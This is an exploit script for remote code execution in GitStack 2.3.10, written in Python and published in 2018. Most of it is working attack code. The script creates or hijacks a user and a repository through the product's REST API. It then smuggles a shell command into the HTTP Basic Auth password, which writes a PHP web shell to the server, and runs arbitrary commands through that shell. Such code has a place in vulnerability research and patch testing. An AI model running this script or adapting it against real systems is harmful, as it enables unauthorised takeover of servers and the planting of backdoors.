98 lines
No EOL
3.1 KiB
Python
Executable file
98 lines
No EOL
3.1 KiB
Python
Executable file
# Exploit: GitStack 2.3.10 Unauthenticated Remote Code Execution
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# Date: 18.01.2018
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# Software Link: https://gitstack.com/
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# Exploit Author: Kacper Szurek
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# Contact: https://twitter.com/KacperSzurek
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# Website: https://security.szurek.pl/
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# Category: remote
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#
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#1. Description
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#
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#$_SERVER['PHP_AUTH_PW'] is directly passed to exec function.
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#
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#https://security.szurek.pl/gitstack-2310-unauthenticated-rce.html
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#
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#2. Proof of Concept
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#
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import requests
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from requests.auth import HTTPBasicAuth
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import os
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import sys
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ip = '192.168.1.102'
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# What command you want to execute
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command = "whoami"
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repository = 'rce'
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username = 'rce'
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password = 'rce'
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csrf_token = 'token'
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user_list = []
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print "[+] Get user list"
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try:
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r = requests.get("http://{}/rest/user/".format(ip))
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user_list = r.json()
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user_list.remove('everyone')
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except:
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pass
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if len(user_list) > 0:
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username = user_list[0]
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print "[+] Found user {}".format(username)
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else:
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r = requests.post("http://{}/rest/user/".format(ip), data={'username' : username, 'password' : password})
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print "[+] Create user"
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if not "User created" in r.text and not "User already exist" in r.text:
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print "[-] Cannot create user"
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os._exit(0)
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r = requests.get("http://{}/rest/settings/general/webinterface/".format(ip))
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if "true" in r.text:
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print "[+] Web repository already enabled"
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else:
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print "[+] Enable web repository"
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r = requests.put("http://{}/rest/settings/general/webinterface/".format(ip), data='{"enabled" : "true"}')
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if not "Web interface successfully enabled" in r.text:
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print "[-] Cannot enable web interface"
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os._exit(0)
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print "[+] Get repositories list"
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r = requests.get("http://{}/rest/repository/".format(ip))
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repository_list = r.json()
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if len(repository_list) > 0:
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repository = repository_list[0]['name']
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print "[+] Found repository {}".format(repository)
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else:
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print "[+] Create repository"
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r = requests.post("http://{}/rest/repository/".format(ip), cookies={'csrftoken' : csrf_token}, data={'name' : repository, 'csrfmiddlewaretoken' : csrf_token})
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if not "The repository has been successfully created" in r.text and not "Repository already exist" in r.text:
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print "[-] Cannot create repository"
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os._exit(0)
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print "[+] Add user to repository"
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r = requests.post("http://{}/rest/repository/{}/user/{}/".format(ip, repository, username))
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if not "added to" in r.text and not "has already" in r.text:
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print "[-] Cannot add user to repository"
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os._exit(0)
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print "[+] Disable access for anyone"
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r = requests.delete("http://{}/rest/repository/{}/user/{}/".format(ip, repository, "everyone"))
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if not "everyone removed from rce" in r.text and not "not in list" in r.text:
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print "[-] Cannot remove access for anyone"
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os._exit(0)
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print "[+] Create backdoor in PHP"
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r = requests.get('http://{}/web/index.php?p={}.git&a=summary'.format(ip, repository), auth=HTTPBasicAuth(username, 'p && echo "<?php system($_POST[\'a\']); ?>" > c:\GitStack\gitphp\exploit.php'))
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print r.text.encode(sys.stdout.encoding, errors='replace')
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print "[+] Execute command"
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r = requests.post("http://{}/web/exploit.php".format(ip), data={'a' : command})
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print r.text.encode(sys.stdout.encoding, errors='replace') |